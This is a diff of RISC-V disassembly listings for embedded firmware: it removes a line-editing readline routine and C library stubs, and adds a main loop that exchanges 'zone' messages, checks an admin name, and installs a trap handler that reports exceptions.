-204027d6:	460d                	li	a2,3
-204027d8:	00003597          	auipc	a1,0x3
-204027dc:	25c58593          	addi	a1,a1,604 # 20405a34 <_exit+0x81e>
-204027e0:	4505                	li	a0,1
-204027e2:	0f0010ef          	jal	ra,204038d2 <write>
-204027e6:	400c                	lw	a1,0(s0)
-204027e8:	8526                	mv	a0,s1
-204027ea:	95a6                	add	a1,a1,s1
-204027ec:	c62e                	sw	a1,12(sp)
-204027ee:	48b000ef          	jal	ra,20403478 <strlen>
-204027f2:	4010                	lw	a2,0(s0)
-204027f4:	45b2                	lw	a1,12(sp)
-204027f6:	40c50633          	sub	a2,a0,a2
-204027fa:	4505                	li	a0,1
-204027fc:	0d6010ef          	jal	ra,204038d2 <write>
-20402800:	4609                	li	a2,2
-20402802:	00003597          	auipc	a1,0x3
-20402806:	23658593          	addi	a1,a1,566 # 20405a38 <_exit+0x822>
-2040280a:	4505                	li	a0,1
-2040280c:	0c6010ef          	jal	ra,204038d2 <write>
-20402810:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-20402814:	bf11                	j	20402728 <readline+0x30>
-20402816:	000bc783          	lbu	a5,0(s7)
-2040281a:	0905                	addi	s2,s2,1
-2040281c:	fefb8fa3          	sb	a5,-1(s7)
-20402820:	bf69                	j	204027ba <readline+0xc2>
-20402822:	04300693          	li	a3,67
-20402826:	02d79263          	bne	a5,a3,2040284a <readline+0x152>
-2040282a:	8526                	mv	a0,s1
-2040282c:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-20402830:	449000ef          	jal	ra,20403478 <strlen>
-20402834:	401c                	lw	a5,0(s0)
-20402836:	eea7f9e3          	bgeu	a5,a0,20402728 <readline+0x30>
-2040283a:	0785                	addi	a5,a5,1
-2040283c:	c01c                	sw	a5,0(s0)
-2040283e:	460d                	li	a2,3
-20402840:	00003597          	auipc	a1,0x3
-20402844:	1fc58593          	addi	a1,a1,508 # 20405a3c <_exit+0x826>
-20402848:	a00d                	j	2040286a <readline+0x172>
-2040284a:	04400693          	li	a3,68
-2040284e:	02d79263          	bne	a5,a3,20402872 <readline+0x17a>
-20402852:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-20402856:	401c                	lw	a5,0(s0)
-20402858:	ecf058e3          	blez	a5,20402728 <readline+0x30>
-2040285c:	17fd                	addi	a5,a5,-1
-2040285e:	c01c                	sw	a5,0(s0)
-20402860:	460d                	li	a2,3
-20402862:	00003597          	auipc	a1,0x3
-20402866:	1de58593          	addi	a1,a1,478 # 20405a40 <_exit+0x82a>
-2040286a:	4505                	li	a0,1
-2040286c:	066010ef          	jal	ra,204038d2 <write>
-20402870:	bd65                	j	20402728 <readline+0x30>
-20402872:	04100693          	li	a3,65
-20402876:	06d79b63          	bne	a5,a3,204028ec <readline+0x1f4>
-2040287a:	000a2503          	lw	a0,0(s4)
-2040287e:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-20402882:	4799                	li	a5,6
-20402884:	eaa7c2e3          	blt	a5,a0,20402728 <readline+0x30>
-20402888:	0505                	addi	a0,a0,1
-2040288a:	02100913          	li	s2,33
-2040288e:	03250533          	mul	a0,a0,s2
-20402892:	955a                	add	a0,a0,s6
-20402894:	3e5000ef          	jal	ra,20403478 <strlen>
-20402898:	e80508e3          	beqz	a0,20402728 <readline+0x30>
-2040289c:	000a2583          	lw	a1,0(s4)
-204028a0:	0585                	addi	a1,a1,1
-204028a2:	00ba2023          	sw	a1,0(s4)
-204028a6:	032585b3          	mul	a1,a1,s2
-204028aa:	95da                	add	a1,a1,s6
-204028ac:	8526                	mv	a0,s1
-204028ae:	3b9000ef          	jal	ra,20403466 <strcpy>
-204028b2:	4611                	li	a2,4
-204028b4:	00003597          	auipc	a1,0x3
-204028b8:	19058593          	addi	a1,a1,400 # 20405a44 <_exit+0x82e>
-204028bc:	4505                	li	a0,1
-204028be:	014010ef          	jal	ra,204038d2 <write>
-204028c2:	4619                	li	a2,6
-204028c4:	00003597          	auipc	a1,0x3
-204028c8:	18858593          	addi	a1,a1,392 # 20405a4c <_exit+0x836>
-204028cc:	4505                	li	a0,1
-204028ce:	004010ef          	jal	ra,204038d2 <write>
-204028d2:	8526                	mv	a0,s1
-204028d4:	3a5000ef          	jal	ra,20403478 <strlen>
-204028d8:	862a                	mv	a2,a0
-204028da:	85a6                	mv	a1,s1
-204028dc:	4505                	li	a0,1
-204028de:	7f5000ef          	jal	ra,204038d2 <write>
-204028e2:	8526                	mv	a0,s1
-204028e4:	395000ef          	jal	ra,20403478 <strlen>
-204028e8:	c008                	sw	a0,0(s0)
-204028ea:	bd3d                	j	20402728 <readline+0x30>
-204028ec:	04200693          	li	a3,66
-204028f0:	1ad79463          	bne	a5,a3,20402a98 <readline+0x3a0>
-204028f4:	000a2503          	lw	a0,0(s4)
-204028f8:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-204028fc:	e2a056e3          	blez	a0,20402728 <readline+0x30>
-20402900:	157d                	addi	a0,a0,-1
-20402902:	02100793          	li	a5,33
-20402906:	02f50533          	mul	a0,a0,a5
-2040290a:	955a                	add	a0,a0,s6
-2040290c:	36d000ef          	jal	ra,20403478 <strlen>
-20402910:	e0050ce3          	beqz	a0,20402728 <readline+0x30>
-20402914:	000a2583          	lw	a1,0(s4)
-20402918:	02100793          	li	a5,33
-2040291c:	15fd                	addi	a1,a1,-1
-2040291e:	00ba2023          	sw	a1,0(s4)
-20402922:	02f585b3          	mul	a1,a1,a5
-20402926:	b751                	j	204028aa <readline+0x1b2>
-20402928:	00094783          	lbu	a5,0(s2)
-2040292c:	0b85                	addi	s7,s7,1
-2040292e:	0905                	addi	s2,s2,1
-20402930:	fef90f23          	sb	a5,-2(s2)
-20402934:	a261                	j	20402abc <readline+0x3c4>
-20402936:	fe078693          	addi	a3,a5,-32
-2040293a:	0ff6f693          	andi	a3,a3,255
-2040293e:	05e00613          	li	a2,94
-20402942:	06d66f63          	bltu	a2,a3,204029c0 <readline+0x2c8>
-20402946:	4014                	lw	a3,0(s0)
-20402948:	467d                	li	a2,31
-2040294a:	ecd663e3          	bltu	a2,a3,20402810 <readline+0x118>
-2040294e:	ec0711e3          	bnez	a4,20402810 <readline+0x118>
-20402952:	95818713          	addi	a4,gp,-1704 # 8000d9c8 <inputline>
-20402956:	893a                	mv	s2,a4
-20402958:	177d                	addi	a4,a4,-1
-2040295a:	04c69d63          	bne	a3,a2,204029b4 <readline+0x2bc>
-2040295e:	96ca                	add	a3,a3,s2
-20402960:	4609                	li	a2,2
-20402962:	00003597          	auipc	a1,0x3
-20402966:	0ce58593          	addi	a1,a1,206 # 20405a30 <_exit+0x81a>
-2040296a:	4505                	li	a0,1
-2040296c:	00f68023          	sb	a5,0(a3) # c002000 <__stack_size+0xc001800>
-20402970:	763000ef          	jal	ra,204038d2 <write>
-20402974:	460d                	li	a2,3
-20402976:	00003597          	auipc	a1,0x3
-2040297a:	0be58593          	addi	a1,a1,190 # 20405a34 <_exit+0x81e>
-2040297e:	4505                	li	a0,1
-20402980:	753000ef          	jal	ra,204038d2 <write>
-20402984:	400c                	lw	a1,0(s0)
-20402986:	8526                	mv	a0,s1
-20402988:	992e                	add	s2,s2,a1
-2040298a:	2ef000ef          	jal	ra,20403478 <strlen>
-2040298e:	4010                	lw	a2,0(s0)
-20402990:	85ca                	mv	a1,s2
-20402992:	40c50633          	sub	a2,a0,a2
-20402996:	4505                	li	a0,1
-20402998:	73b000ef          	jal	ra,204038d2 <write>
-2040299c:	401c                	lw	a5,0(s0)
-2040299e:	4609                	li	a2,2
-204029a0:	00003597          	auipc	a1,0x3
-204029a4:	09858593          	addi	a1,a1,152 # 20405a38 <_exit+0x822>
-204029a8:	0785                	addi	a5,a5,1
-204029aa:	4505                	li	a0,1
-204029ac:	c01c                	sw	a5,0(s0)
-204029ae:	725000ef          	jal	ra,204038d2 <write>
-204029b2:	b571                	j	2040283e <readline+0x146>
-204029b4:	01f74583          	lbu	a1,31(a4) # c00201f <__stack_size+0xc00181f>
-204029b8:	167d                	addi	a2,a2,-1
-204029ba:	02b70023          	sb	a1,32(a4)
-204029be:	bf69                	j	20402958 <readline+0x260>
-204029c0:	4735                	li	a4,13
-204029c2:	e4e797e3          	bne	a5,a4,20402810 <readline+0x118>
-204029c6:	8001aa23          	sw	zero,-2028(gp) # 8000d884 <p.2>
-204029ca:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-204029ce:	95818493          	addi	s1,gp,-1704 # 8000d9c8 <inputline>
-204029d2:	02000413          	li	s0,32
-204029d6:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-204029da:	29f000ef          	jal	ra,20403478 <strlen>
-204029de:	9526                	add	a0,a0,s1
-204029e0:	fff54783          	lbu	a5,-1(a0)
-204029e4:	00878e63          	beq	a5,s0,20402a00 <readline+0x308>
-204029e8:	02000993          	li	s3,32
-204029ec:	95818a13          	addi	s4,gp,-1704 # 8000d9c8 <inputline>
-204029f0:	0004c783          	lbu	a5,0(s1)
-204029f4:	03379963          	bne	a5,s3,20402a26 <readline+0x32e>
-204029f8:	95818413          	addi	s0,gp,-1704 # 8000d9c8 <inputline>
-204029fc:	4901                	li	s2,0
-204029fe:	a829                	j	20402a18 <readline+0x320>
-20402a00:	8526                	mv	a0,s1
-20402a02:	277000ef          	jal	ra,20403478 <strlen>
-20402a06:	9526                	add	a0,a0,s1
-20402a08:	fe050fa3          	sb	zero,-1(a0)
-20402a0c:	b7e9                	j	204029d6 <readline+0x2de>
-20402a0e:	00044783          	lbu	a5,0(s0)
-20402a12:	0905                	addi	s2,s2,1
-20402a14:	fef40fa3          	sb	a5,-1(s0)
-20402a18:	8552                	mv	a0,s4
-20402a1a:	25f000ef          	jal	ra,20403478 <strlen>
-20402a1e:	0405                	addi	s0,s0,1
-20402a20:	fea967e3          	bltu	s2,a0,20402a0e <readline+0x316>
-20402a24:	b7f1                	j	204029f0 <readline+0x2f8>
-20402a26:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-20402a2a:	24f000ef          	jal	ra,20403478 <strlen>
-20402a2e:	c90d                	beqz	a0,20402a60 <readline+0x368>
-20402a30:	85018493          	addi	s1,gp,-1968 # 8000d8c0 <history.0>
-20402a34:	85a6                	mv	a1,s1
-20402a36:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-20402a3a:	215000ef          	jal	ra,2040344e <strcmp>
-20402a3e:	c10d                	beqz	a0,20402a60 <readline+0x368>
-20402a40:	93718413          	addi	s0,gp,-1737 # 8000d9a7 <history.0+0xe7>
-20402a44:	8522                	mv	a0,s0
-20402a46:	fdf40413          	addi	s0,s0,-33
-20402a4a:	85a2                	mv	a1,s0
-20402a4c:	21b000ef          	jal	ra,20403466 <strcpy>
-20402a50:	fe849ae3          	bne	s1,s0,20402a44 <readline+0x34c>
-20402a54:	95818593          	addi	a1,gp,-1704 # 8000d9c8 <inputline>
-20402a58:	85018513          	addi	a0,gp,-1968 # 8000d8c0 <history.0>
-20402a5c:	20b000ef          	jal	ra,20403466 <strcpy>
-20402a60:	57fd                	li	a5,-1
-20402a62:	4605                	li	a2,1
-20402a64:	00003597          	auipc	a1,0x3
-20402a68:	dd858593          	addi	a1,a1,-552 # 2040583c <_exit+0x626>
-20402a6c:	4505                	li	a0,1
-20402a6e:	5fc0b717          	auipc	a4,0x5fc0b
-20402a72:	e0f72323          	sw	a5,-506(a4) # 8000d874 <h.1>
-20402a76:	65d000ef          	jal	ra,204038d2 <write>
-20402a7a:	4505                	li	a0,1
-20402a7c:	50f2                	lw	ra,60(sp)
-20402a7e:	5462                	lw	s0,56(sp)
-20402a80:	54d2                	lw	s1,52(sp)
-20402a82:	5942                	lw	s2,48(sp)
-20402a84:	59b2                	lw	s3,44(sp)
-20402a86:	5a22                	lw	s4,40(sp)
-20402a88:	5a92                	lw	s5,36(sp)
-20402a8a:	5b02                	lw	s6,32(sp)
-20402a8c:	4bf2                	lw	s7,28(sp)
-20402a8e:	6121                	addi	sp,sp,64
-20402a90:	8082                	ret
-20402a92:	468d                	li	a3,3
-20402a94:	d0d70be3          	beq	a4,a3,204027aa <readline+0xb2>
-20402a98:	46a1                	li	a3,8
-20402a9a:	00d78663          	beq	a5,a3,20402aa6 <readline+0x3ae>
-20402a9e:	07f00693          	li	a3,127
-20402aa2:	e8d79ae3          	bne	a5,a3,20402936 <readline+0x23e>
-20402aa6:	00042903          	lw	s2,0(s0)
-20402aaa:	e92056e3          	blez	s2,20402936 <readline+0x23e>
-20402aae:	e80714e3          	bnez	a4,20402936 <readline+0x23e>
-20402ab2:	fff90b93          	addi	s7,s2,-1
-20402ab6:	01742023          	sw	s7,0(s0)
-20402aba:	9926                	add	s2,s2,s1
-20402abc:	8526                	mv	a0,s1
-20402abe:	1bb000ef          	jal	ra,20403478 <strlen>
-20402ac2:	e6abe3e3          	bltu	s7,a0,20402928 <readline+0x230>
-20402ac6:	460d                	li	a2,3
-20402ac8:	00003597          	auipc	a1,0x3
-20402acc:	f7858593          	addi	a1,a1,-136 # 20405a40 <_exit+0x82a>
-20402ad0:	4505                	li	a0,1
-20402ad2:	601000ef          	jal	ra,204038d2 <write>
-20402ad6:	4609                	li	a2,2
-20402ad8:	00003597          	auipc	a1,0x3
-20402adc:	f5858593          	addi	a1,a1,-168 # 20405a30 <_exit+0x81a>
-20402ae0:	4505                	li	a0,1
-20402ae2:	5f1000ef          	jal	ra,204038d2 <write>
-20402ae6:	460d                	li	a2,3
-20402ae8:	00003597          	auipc	a1,0x3
-20402aec:	f4c58593          	addi	a1,a1,-180 # 20405a34 <_exit+0x81e>
-20402af0:	4505                	li	a0,1
-20402af2:	5e1000ef          	jal	ra,204038d2 <write>
-20402af6:	400c                	lw	a1,0(s0)
-20402af8:	8526                	mv	a0,s1
-20402afa:	95a6                	add	a1,a1,s1
-20402afc:	c62e                	sw	a1,12(sp)
-20402afe:	17b000ef          	jal	ra,20403478 <strlen>
-20402b02:	4010                	lw	a2,0(s0)
-20402b04:	45b2                	lw	a1,12(sp)
-20402b06:	40c50633          	sub	a2,a0,a2
-20402b0a:	4505                	li	a0,1
-20402b0c:	5c7000ef          	jal	ra,204038d2 <write>
-20402b10:	4609                	li	a2,2
-20402b12:	00003597          	auipc	a1,0x3
-20402b16:	f2658593          	addi	a1,a1,-218 # 20405a38 <_exit+0x822>
-20402b1a:	bb81                	j	2040286a <readline+0x172>
-
-20402b1c <_close>:
-20402b1c:	557d                	li	a0,-1
-20402b1e:	8082                	ret
-
-20402b20 <_fstat>:
-20402b20:	6789                	lui	a5,0x2
-20402b22:	c1dc                	sw	a5,4(a1)
-20402b24:	4501                	li	a0,0
-20402b26:	8082                	ret
-
-20402b28 <_sbrk>:
-20402b28:	80818713          	addi	a4,gp,-2040 # 8000d878 <_heap_ptr.0>
-20402b2c:	87aa                	mv	a5,a0
-20402b2e:	4308                	lw	a0,0(a4)
-20402b30:	31018693          	addi	a3,gp,784 # 8000e380 <_end>
-20402b34:	97aa                	add	a5,a5,a0
-20402b36:	00d7e863          	bltu	a5,a3,20402b46 <_sbrk+0x1e>
-20402b3a:	79018693          	addi	a3,gp,1936 # 8000e800 <_heap_end>
-20402b3e:	00f6e463          	bltu	a3,a5,20402b46 <_sbrk+0x1e>
-20402b42:	c31c                	sw	a5,0(a4)
-20402b44:	8082                	ret
-20402b46:	557d                	li	a0,-1
-20402b48:	8082                	ret
-
-20402b4a <_isatty>:
-20402b4a:	00353513          	sltiu	a0,a0,3
-20402b4e:	8082                	ret
+2040189c:	715d                	addi	sp,sp,-80
+2040189e:	c686                	sw	ra,76(sp)
+204018a0:	c4a2                	sw	s0,72(sp)
+204018a2:	c2a6                	sw	s1,68(sp)
+204018a4:	c0ca                	sw	s2,64(sp)
+204018a6:	de4e                	sw	s3,60(sp)
+204018a8:	dc52                	sw	s4,56(sp)
+204018aa:	da56                	sw	s5,52(sp)
+204018ac:	d85a                	sw	s6,48(sp)
+204018ae:	d65e                	sw	s7,44(sp)
+204018b0:	00000797          	auipc	a5,0x0
+204018b4:	19678793          	addi	a5,a5,406 # 20401a46 <trap_handler>
+204018b8:	30579073          	csrw	mtvec,a5
+204018bc:	6785                	lui	a5,0x1
+204018be:	80878793          	addi	a5,a5,-2040 # 808 <__stack_size+0x8>
+204018c2:	3047a7f3          	csrrs	a5,mie,a5
+204018c6:	300467f3          	csrrsi	a5,mstatus,8
+204018ca:	0c0007b7          	lui	a5,0xc000
+204018ce:	4709                	li	a4,2
+204018d0:	c7d8                	sw	a4,12(a5)
+204018d2:	0c002737          	lui	a4,0xc002
+204018d6:	431c                	lw	a5,0(a4)
+204018d8:	4601                	li	a2,0
+204018da:	4581                	li	a1,0
+204018dc:	0087e793          	ori	a5,a5,8
+204018e0:	c31c                	sw	a5,0(a4)
+204018e2:	00002517          	auipc	a0,0x2
+204018e6:	66650513          	addi	a0,a0,1638 # 20403f48 <_exit+0x356>
+204018ea:	67b000ef          	jal	ra,20402764 <open>
+204018ee:	00002517          	auipc	a0,0x2
+204018f2:	66250513          	addi	a0,a0,1634 # 20403f50 <_exit+0x35e>
+204018f6:	4fd000ef          	jal	ra,204025f2 <iprintf>
+204018fa:	00002517          	auipc	a0,0x2
+204018fe:	65e50513          	addi	a0,a0,1630 # 20403f58 <_exit+0x366>
+20401902:	4f1000ef          	jal	ra,204025f2 <iprintf>
+20401906:	00002517          	auipc	a0,0x2
+2040190a:	69a50513          	addi	a0,a0,1690 # 20403fa0 <_exit+0x3ae>
+2040190e:	4e5000ef          	jal	ra,204025f2 <iprintf>
+20401912:	00002517          	auipc	a0,0x2
+20401916:	6d650513          	addi	a0,a0,1750 # 20403fe8 <_exit+0x3f6>
+2040191a:	4d9000ef          	jal	ra,204025f2 <iprintf>
+2040191e:	00002517          	auipc	a0,0x2
+20401922:	63a50513          	addi	a0,a0,1594 # 20403f58 <_exit+0x366>
+20401926:	4cd000ef          	jal	ra,204025f2 <iprintf>
+2040192a:	00002517          	auipc	a0,0x2
+2040192e:	70650513          	addi	a0,a0,1798 # 20404030 <_exit+0x43e>
+20401932:	4c1000ef          	jal	ra,204025f2 <iprintf>
+20401936:	00002517          	auipc	a0,0x2
+2040193a:	74250513          	addi	a0,a0,1858 # 20404078 <_exit+0x486>
+2040193e:	4b5000ef          	jal	ra,204025f2 <iprintf>
+20401942:	00002517          	auipc	a0,0x2
+20401946:	77e50513          	addi	a0,a0,1918 # 204040c0 <_exit+0x4ce>
+2040194a:	4a9000ef          	jal	ra,204025f2 <iprintf>
+2040194e:	00002517          	auipc	a0,0x2
+20401952:	7ba50513          	addi	a0,a0,1978 # 20404108 <_exit+0x516>
+20401956:	49d000ef          	jal	ra,204025f2 <iprintf>
+2040195a:	00002517          	auipc	a0,0x2
+2040195e:	7f650513          	addi	a0,a0,2038 # 20404150 <_exit+0x55e>
+20401962:	491000ef          	jal	ra,204025f2 <iprintf>
+20401966:	00002517          	auipc	a0,0x2
+2040196a:	5f250513          	addi	a0,a0,1522 # 20403f58 <_exit+0x366>
+2040196e:	485000ef          	jal	ra,204025f2 <iprintf>
+20401972:	461d                	li	a2,7
+20401974:	00003597          	auipc	a1,0x3
+20401978:	82458593          	addi	a1,a1,-2012 # 20404198 <_exit+0x5a6>
+2040197c:	4505                	li	a0,1
+2040197e:	61d000ef          	jal	ra,2040279a <write>
+20401982:	85018913          	addi	s2,gp,-1968 # 8000d8b0 <inputline>
+20401986:	00003a17          	auipc	s4,0x3
+2040198a:	88aa0a13          	addi	s4,s4,-1910 # 20404210 <_exit+0x61e>
+2040198e:	00003a97          	auipc	s5,0x3
+20401992:	812a8a93          	addi	s5,s5,-2030 # 204041a0 <_exit+0x5ae>
+20401996:	5fc0c997          	auipc	s3,0x5fc0c
+2040199a:	ece98993          	addi	s3,s3,-306 # 8000d864 <admin_name>
+2040199e:	00003b17          	auipc	s6,0x3
+204019a2:	812b0b13          	addi	s6,s6,-2030 # 204041b0 <_exit+0x5be>
+204019a6:	00003b97          	auipc	s7,0x3
+204019aa:	82ab8b93          	addi	s7,s7,-2006 # 204041d0 <_exit+0x5de>
+204019ae:	85ca                	mv	a1,s2
+204019b0:	4505                	li	a0,1
+204019b2:	2bb9                	jal	20401f10 <receiveZoneMessageAndHandlePrintf2>
+204019b4:	842a                	mv	s0,a0
+204019b6:	cd2d                	beqz	a0,20401a30 <main+0x194>
+204019b8:	414c                	lw	a1,4(a0)
+204019ba:	4651                	li	a2,20
+204019bc:	0028                	addi	a0,sp,8
+204019be:	27b000ef          	jal	ra,20402438 <memcpy>
+204019c2:	8556                	mv	a0,s5
+204019c4:	00010e23          	sb	zero,28(sp)
+204019c8:	42b000ef          	jal	ra,204025f2 <iprintf>
+204019cc:	0009a503          	lw	a0,0(s3)
+204019d0:	4481                	li	s1,0
+204019d2:	507000ef          	jal	ra,204026d8 <strlen>
+204019d6:	00045783          	lhu	a5,0(s0)
+204019da:	862a                	mv	a2,a0
+204019dc:	00f51963          	bne	a0,a5,204019ee <main+0x152>
+204019e0:	0009a583          	lw	a1,0(s3)
+204019e4:	4048                	lw	a0,4(s0)
+204019e6:	505000ef          	jal	ra,204026ea <strncmp>
+204019ea:	00153493          	seqz	s1,a0
+204019ee:	4048                	lw	a0,4(s0)
+204019f0:	241000ef          	jal	ra,20402430 <free>
+204019f4:	4785                	li	a5,1
+204019f6:	00f41023          	sh	a5,0(s0)
+204019fa:	4505                	li	a0,1
+204019fc:	22d000ef          	jal	ra,20402428 <malloc>
+20401a00:	c048                	sw	a0,4(s0)
+20401a02:	855a                	mv	a0,s6
+20401a04:	3ef000ef          	jal	ra,204025f2 <iprintf>
+20401a08:	405c                	lw	a5,4(s0)
+20401a0a:	855e                	mv	a0,s7
+20401a0c:	00978023          	sb	s1,0(a5) # c000000 <__stack_size+0xbfff800>
+20401a10:	405c                	lw	a5,4(s0)
+20401a12:	0007c583          	lbu	a1,0(a5)
+20401a16:	3dd000ef          	jal	ra,204025f2 <iprintf>
+20401a1a:	4605                	li	a2,1
+20401a1c:	4585                	li	a1,1
+20401a1e:	8522                	mv	a0,s0
+20401a20:	251d                	jal	20402046 <sendZoneMessage>
+20401a22:	00002517          	auipc	a0,0x2
+20401a26:	7d650513          	addi	a0,a0,2006 # 204041f8 <_exit+0x606>
+20401a2a:	3c9000ef          	jal	ra,204025f2 <iprintf>
+20401a2e:	b741                	j	204019ae <main+0x112>
+20401a30:	85ca                	mv	a1,s2
+20401a32:	4509                	li	a0,2
+20401a34:	29f1                	jal	20401f10 <receiveZoneMessageAndHandlePrintf2>
+20401a36:	842a                	mv	s0,a0
+20401a38:	d93d                	beqz	a0,204019ae <main+0x112>
+20401a3a:	8552                	mv	a0,s4
+20401a3c:	3b7000ef          	jal	ra,204025f2 <iprintf>
+20401a40:	8522                	mv	a0,s0
+20401a42:	24e5                	jal	20401d2a <freeZoneMessage>
+20401a44:	b7ad                	j	204019ae <main+0x112>
 
-20402b50 <_lseek>:
-20402b50:	4501                	li	a0,0
-20402b52:	8082                	ret
+20401a46 <trap_handler>:
+20401a46:	7159                	addi	sp,sp,-112
+20401a48:	caaa                	sw	a0,84(sp)
+20401a4a:	d686                	sw	ra,108(sp)
+20401a4c:	d496                	sw	t0,104(sp)
+20401a4e:	d29a                	sw	t1,100(sp)
+20401a50:	d09e                	sw	t2,96(sp)
+20401a52:	cea2                	sw	s0,92(sp)
+20401a54:	cca6                	sw	s1,88(sp)
+20401a56:	c8ae                	sw	a1,80(sp)
+20401a58:	c6b2                	sw	a2,76(sp)
+20401a5a:	c4b6                	sw	a3,72(sp)
+20401a5c:	c2ba                	sw	a4,68(sp)
+20401a5e:	c0be                	sw	a5,64(sp)
+20401a60:	de42                	sw	a6,60(sp)
+20401a62:	dc46                	sw	a7,56(sp)
+20401a64:	da4a                	sw	s2,52(sp)
+20401a66:	d872                	sw	t3,48(sp)
+20401a68:	d676                	sw	t4,44(sp)
+20401a6a:	d47a                	sw	t5,40(sp)
+20401a6c:	d27e                	sw	t6,36(sp)
+20401a6e:	4515                	li	a0,5
+20401a70:	85aa                	mv	a1,a0
+20401a72:	4521                	li	a0,8
+20401a74:	00300073          	0x300073
+20401a78:	84aa                	mv	s1,a0
+20401a7a:	4511                	li	a0,4
+20401a7c:	85aa                	mv	a1,a0
+20401a7e:	4521                	li	a0,8
+20401a80:	00300073          	0x300073
+20401a84:	842a                	mv	s0,a0
+20401a86:	4519                	li	a0,6
+20401a88:	85aa                	mv	a1,a0
+20401a8a:	4521                	li	a0,8
+20401a8c:	00300073          	0x300073
+20401a90:	47ad                	li	a5,11
+20401a92:	86aa                	mv	a3,a0
+20401a94:	0097ec63          	bltu	a5,s1,20401aac <trap_handler+0x66>
+20401a98:	00002617          	auipc	a2,0x2
+20401a9c:	48060613          	addi	a2,a2,1152 # 20403f18 <_exit+0x326>
+20401aa0:	00249713          	slli	a4,s1,0x2
+20401aa4:	9732                	add	a4,a4,a2
+20401aa6:	431c                	lw	a5,0(a4)
+20401aa8:	97b2                	add	a5,a5,a2
+20401aaa:	8782                	jr	a5
+20401aac:	800007b7          	lui	a5,0x80000
+20401ab0:	00778713          	addi	a4,a5,7 # 80000007 <_heap_end+0xffff1807>
+20401ab4:	1ae48263          	beq	s1,a4,20401c58 <trap_handler+0x212>
+20401ab8:	00b78713          	addi	a4,a5,11
+20401abc:	20e48563          	beq	s1,a4,20401cc6 <trap_handler+0x280>
+20401ac0:	078d                	addi	a5,a5,3
+20401ac2:	12f48563          	beq	s1,a5,20401bec <trap_handler+0x1a6>
+20401ac6:	8622                	mv	a2,s0
+20401ac8:	85a6                	mv	a1,s1
+20401aca:	00002517          	auipc	a0,0x2
+20401ace:	40e50513          	addi	a0,a0,1038 # 20403ed8 <_exit+0x2e6>
+20401ad2:	a039                	j	20401ae0 <trap_handler+0x9a>
+20401ad4:	8622                	mv	a2,s0
+20401ad6:	4581                	li	a1,0
+20401ad8:	00002517          	auipc	a0,0x2
+20401adc:	12050513          	addi	a0,a0,288 # 20403bf8 <_exit+0x6>
+20401ae0:	313000ef          	jal	ra,204025f2 <iprintf>
+20401ae4:	00002517          	auipc	a0,0x2
+20401ae8:	41850513          	addi	a0,a0,1048 # 20403efc <_exit+0x30a>
+20401aec:	307000ef          	jal	ra,204025f2 <iprintf>
+20401af0:	00010c23          	sb	zero,24(sp)
+20401af4:	4605                	li	a2,1
+20401af6:	082c                	addi	a1,sp,24
+20401af8:	4501                	li	a0,0
+20401afa:	493000ef          	jal	ra,2040278c <read>
+20401afe:	d97d                	beqz	a0,20401af4 <trap_handler+0xae>
+20401b00:	d01ff06f          	j	20401800 <_start>
+20401b04:	a0b1                	j	20401b50 <trap_handler+0x10a>
+20401b06:	8622                	mv	a2,s0
+20401b08:	4585                	li	a1,1
+20401b0a:	00002517          	auipc	a0,0x2
+20401b0e:	12a50513          	addi	a0,a0,298 # 20403c34 <_exit+0x42>
+20401b12:	b7f9                	j	20401ae0 <trap_handler+0x9a>
+20401b14:	8622                	mv	a2,s0
+20401b16:	4589                	li	a1,2
+20401b18:	00002517          	auipc	a0,0x2
+20401b1c:	15050513          	addi	a0,a0,336 # 20403c68 <_exit+0x76>
+20401b20:	b7c1                	j	20401ae0 <trap_handler+0x9a>
+20401b22:	8622                	mv	a2,s0
+20401b24:	458d                	li	a1,3
+20401b26:	00002517          	auipc	a0,0x2
+20401b2a:	17250513          	addi	a0,a0,370 # 20403c98 <_exit+0xa6>
+20401b2e:	bf4d                	j	20401ae0 <trap_handler+0x9a>
+20401b30:	8622                	mv	a2,s0
+20401b32:	4591                	li	a1,4
+20401b34:	00002517          	auipc	a0,0x2
+20401b38:	18850513          	addi	a0,a0,392 # 20403cbc <_exit+0xca>
+20401b3c:	2b7000ef          	jal	ra,204025f2 <iprintf>
+20401b40:	00044783          	lbu	a5,0(s0)
+20401b44:	8b85                	andi	a5,a5,1
+20401b46:	e391                	bnez	a5,20401b4a <trap_handler+0x104>
+20401b48:	4489                	li	s1,2
+20401b4a:	9426                	add	s0,s0,s1
+20401b4c:	34141073          	csrw	mepc,s0
+20401b50:	4476                	lw	s0,92(sp)
+20401b52:	50b6                	lw	ra,108(sp)
+20401b54:	52a6                	lw	t0,104(sp)
+20401b56:	5316                	lw	t1,100(sp)
+20401b58:	5386                	lw	t2,96(sp)
+20401b5a:	44e6                	lw	s1,88(sp)
+20401b5c:	4556                	lw	a0,84(sp)
+20401b5e:	45c6                	lw	a1,80(sp)
+20401b60:	4636                	lw	a2,76(sp)
+20401b62:	46a6                	lw	a3,72(sp)
+20401b64:	4716                	lw	a4,68(sp)
+20401b66:	4786                	lw	a5,64(sp)
+20401b68:	5872                	lw	a6,60(sp)
+20401b6a:	58e2                	lw	a7,56(sp)
+20401b6c:	5952                	lw	s2,52(sp)
+20401b6e:	5e42                	lw	t3,48(sp)
+20401b70:	5eb2                	lw	t4,44(sp)
+20401b72:	5f22                	lw	t5,40(sp)
+20401b74:	5f92                	lw	t6,36(sp)
+20401b76:	6165                	addi	sp,sp,112
+20401b78:	30200073          	mret
+20401b7c:	8622                	mv	a2,s0
+20401b7e:	4595                	li	a1,5
+20401b80:	00002517          	auipc	a0,0x2
+20401b84:	17050513          	addi	a0,a0,368 # 20403cf0 <_exit+0xfe>
+20401b88:	26b000ef          	jal	ra,204025f2 <iprintf>
+20401b8c:	0411                	addi	s0,s0,4
+20401b8e:	bf7d                	j	20401b4c <trap_handler+0x106>
+20401b90:	8622                	mv	a2,s0
+20401b92:	4599                	li	a1,6
+20401b94:	00002517          	auipc	a0,0x2
+20401b98:	18850513          	addi	a0,a0,392 # 20403d1c <_exit+0x12a>
+20401b9c:	257000ef          	jal	ra,204025f2 <iprintf>
